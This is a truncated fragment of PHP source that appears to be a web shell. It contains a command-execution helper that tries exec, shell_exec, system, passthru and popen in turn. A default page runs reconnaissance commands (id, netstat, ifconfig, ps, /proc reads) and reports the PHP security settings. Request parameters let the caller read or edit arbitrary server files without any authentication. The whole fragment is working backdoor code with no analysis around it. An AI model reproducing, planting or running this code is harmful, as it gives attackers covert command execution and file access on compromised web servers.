Error: " . $message . "."; die($completeMessage); } function getSymbolByQuantity($bytes) { $symbols=array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB'); $exp=@floor(log($bytes)/log(1024)); return @sprintf('%.2f ' . $symbols[$exp], ($bytes/pow(1024, @floor($exp)))); } function ex($command) { $res=''; if (@function_exists('exec')) { @exec($command, $res); $res=@join("\n", $res); } elseif (@function_exists('shell_exec')) { $res=@shell_exec($command); } elseif(@function_exists('system')) { @ob_start(); @system($command); $res=@ob_get_contents(); @ob_end_clean(); } elseif (@function_exists('passthru')) { @ob_start(); @passthru($command); $res=@ob_get_contents(); @ob_end_clean(); } elseif (@is_resource($f=@popen($command, "r"))) { $res=""; while(!@feof($f)) { $res .= @fread($f, 1024); } @pclose($f); } $res=@htmlspecialchars($res); return $res; } if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) { echo ""; echo "
"; echo ""; echo ""; echo ""; echo "System information: here
";
echo "PHP info: here
";
echo "Send an email: here
" . @PHP_OS;
echo "Server uname" . php_uname();
echo "Server uptime";
echo ex("uptime");
echo "Server time";
echo date("D, M d, h:iA");
echo "Disk space";
echo "Total space: " . getSymbolByQuantity($total) . "
";
echo "Free space: " . getSymbolByQuantity($free);
echo "Web server username";
echo (!$win) ? `id` . "
" : @get_current_user();
echo "PHP version" . @phpversion();
echo "PHP safe_mode";
echo ($safeMode) ? "ON
" : "OFF
";
echo "PHP open_basedir";
echo ($openBaseDir) ? "ON
" : "OFF
";
echo "PHP magic_quotes_gpc";
echo ($magicQuotesGpc) ? "ON
" : "OFF
";
echo "CPU information";
echo ex("cat /proc/cpuinfo");
echo "Memory information";
echo ex("cat /proc/meminfo");
echo "Open ports and active connections";
echo ex("netstat -nat");
echo "Network devices";
echo ex("/sbin/ifconfig -a");
echo "Processes";
echo ex("ps auxfww");
echo "";
}
else if(isset($_REQUEST["phpinfo"])) {
echo @phpinfo();
}
else if (isset($_REQUEST["readFile"])) {
$file=$_REQUEST["readFile"];
$fileHandler=@fopen($file, "rb") or error("Unable to read file " . $file . "");
$fileContent=@file_get_contents($file);
echo "File: " . $file . "
"; echo "
" . @htmlspecialchars($fileContent) . ""; } else if(isset($_REQUEST["editFile"])) { $file=$_REQUEST["editFile"]; if (!$file) { error("Specify the file to edit"); } $fileHandler=@fopen($file, "rb") or error("Unable to read file
" . $file . "");
$fileContent=@file_get_contents($file);
echo "